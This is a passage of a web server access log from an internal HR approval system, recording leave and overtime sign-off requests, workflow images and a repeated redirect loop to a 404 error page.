/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 192.168.139.16 - - [02/Dec/2025:13:21:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 49900 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 49900 192.168.11.52 - - [02/Dec/2025:13:21:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23789 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23789 192.168.139.16 - - [02/Dec/2025:13:21:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132696%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132696&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132696%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132696&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:21:52 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120325 HTTP/1.1" 200 5228 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:52 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120325 HTTP/1.1" 200 5228 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132697%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132697&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132697%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132697&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET 